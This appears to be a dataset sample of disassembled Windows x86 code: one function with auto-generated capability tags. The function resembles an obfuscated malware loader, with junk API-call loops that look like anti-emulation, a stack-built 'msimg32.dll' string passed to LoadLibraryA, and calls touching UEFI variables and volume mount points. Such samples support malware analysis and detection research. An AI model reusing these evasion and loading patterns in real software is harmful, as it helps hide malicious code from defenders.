Function at 0x4507f0
Capabilities:
Get common file path
Get disk information
Get file size
Get hostname
Manipulate console buffer
Read .ini file
Set uefi variable
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4560cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x16f8
call fcn.00411f10
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableW]
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
mov dword [esp + 0x10], eax
cmp eax, 0x2d227
jge 0x45084d
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CharToOemBuffA]
mov eax, dword [esp + 0x10]
cmp dword [0x7e280c], 0x6fb
jne 0x4508a1
push 0x30
lea eax, [esp + 0x4c]
push 0
push eax
mov dword [esp + 0x50], 0
call fcn.0040f430
add esp, 0xc
push esi
lea ecx, [esp + 0x48]
push ecx
push 0
call edi
push 0
lea edx, [esp + 0x30c]
push edx
push 0x403f78
call ebx
push 0
push 0
push 0x403fc8
push 0x40400c
call ebp
mov eax, dword [esp + 0x10]
cmp eax, 0x1e9c85e6
jle 0x4508bc
cmp dword [esp + 0x14], 0xc0e452
je 0x4508bc
cmp dword [esp + 0x50], 0x927f260
jne 0x4508ce
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0x7d623
jl 0x450836
jmp 0x450907
cmp dword [0x7e280c], 0x28
jne 0x450907
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x70c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0x40401c
push 0x403fb4
push 0x404024
call dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
cmp dword [0x7e280c], 0xcf8
jne 0x450981
push 0
push 0
call fcn.004123ca
xor edx, edx
xor edi, edi
push 0x404088
mov dword [esp + 0x38], 7
mov dword [esp + 0x34], edi
mov word [esp + 0x24], dx
call fcn.004081fb
mov esi, eax
add esp, 0xc
lea eax, [esp + 0x18]
call fcn.00406380
lea eax, [esp + 0x78]
push eax
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1718], edi
call fcn.004058c0
cmp dword [esp + 0x2c], 8
jb 0x450972
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00408216
add esp, 4
push edi
call fcn.0040831f
add esp, 4
push edi
call fcn.004085b1
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetFileSize]
xor esi, esi
cmp esi, 0x408
jne 0x4509a8
mov eax, 0x5d1
add dword [0x7e280c], eax
cmp dword [0x7e280c], 0xca3
jne 0x4509d9
push 0
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x14]
push ecx
push edx
push edx
push 0x4040a0
push edx
mov dword [esp + 0x24], edx
call ebx
push 0
push 0
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x450995
mov eax, dword [0x7e280c]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov dword [0x7e2774], eax
mov eax, dword [0x7e280c]
xor esi, esi
cmp eax, ebx
jbe 0x450a88
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
cmp eax, 0xfe
jne 0x450a59
push ebx
lea ecx, [esp + 0x70c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push ebx
push ebx
call edi
xor eax, eax
lea edx, [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
push edx
lea eax, [esp + 0x48]
push eax
push 0x4040cc
mov dword [esp + 0x24], ebx
call ebp
call fcn.00450320
mov eax, dword [0x7e280c]
cmp eax, 0x29
jne 0x450a83
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov eax, dword [0x7e280c]
inc esi
cmp esi, eax
jb 0x450a11
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov edi, dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
mov dword [esp + 0x14], 0x9682ab
cmp eax, 3
jne 0x450abe
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [0x7e280c]
cmp eax, 0xdf
jne 0x450b0e
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call edi
xor ecx, ecx
push ecx
mov eax, ecx
push eax
push eax
push ecx
push ecx
mov dword [esp + 0x24], ecx
call ebx
xor eax, eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x48]
push edx
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
call ebp
mov eax, dword [0x7e280c]
dec dword [esp + 0x14]
jne 0x450aa2
mov esi, dword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov ebx, 0x25887
mov edi, 0xabebc05c
jmp 0x450b30
mov dword [0x7e277c], edi
cmp eax, 0x222
jne 0x450b56
push 0
lea eax, [esp + 0x70c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
call esi
mov eax, dword [0x7e280c]
dec ebx
jne 0x450b30
mov byte [0x45eac0], bl
call fcn.00450270
call fcn.004505f0
mov ebp, dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFlags]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
xor esi, esi
cmp dword [0x7e280c], 0xba
jne 0x450b94
push 0x4040d8
push 0
push 0
call ebp
push 0
call edi
push 0
call ebx
cmp esi, 0x2f64
jne 0x450baf
mov eax, 0
add dword [0x7e2774], eax
inc esi
cmp esi, 0x1605a
jl 0x450b7d
mov esi, dword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov edi, 0x1e6dcb
mov ebx, 0x85
cmp dword [0x7e280c], ebx
jne 0x450bd2
call esi
dec edi
jne 0x450bc8
mov ebx, 0x6c
push 0x45eac0
mov dword [0x45eac6], 0x6c642e32
mov dword [0x45eac0], 0x6d69736d
mov word [0x45eaca], bx
mov word [0x45eac4], 0x3367
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x73
mov edx, 0x6d
mov eax, 0x33
mov word [0x7e2812], cx
mov word [0x7e2816], dx
mov word [0x7e281a], ax
xor edx, edx
cmp dword [0x7e280c], 0xc30
mov ecx, ebx
mov eax, 0x64
mov word [0x7e2822], cx
mov word [0x7e2826], dx
mov word [0x7e2820], ax
mov ecx, 0x67
mov edx, 0x69
mov eax, 0x6d
mov word [0x7e2818], cx
mov word [0x7e2814], dx
mov word [0x7e2810], ax
mov word [0x7e2824], bx
mov dword [0x7e281c], 0x2e0032
jne 0x450d43
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [esp + 0x1c8]
push eax
push 0x40411c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push edi
lea edx, [esp + 0x14]
push edx
push edi
lea eax, [esp + 0x314]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push edi
lea ecx, [esp + 0x70c]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x48]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push 0x404128
call esi
push edi
lea eax, [esp + 0xf0c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
lea ecx, [esp + 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push edi
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0x404138
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov ecx, dword [esp + 0x170c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret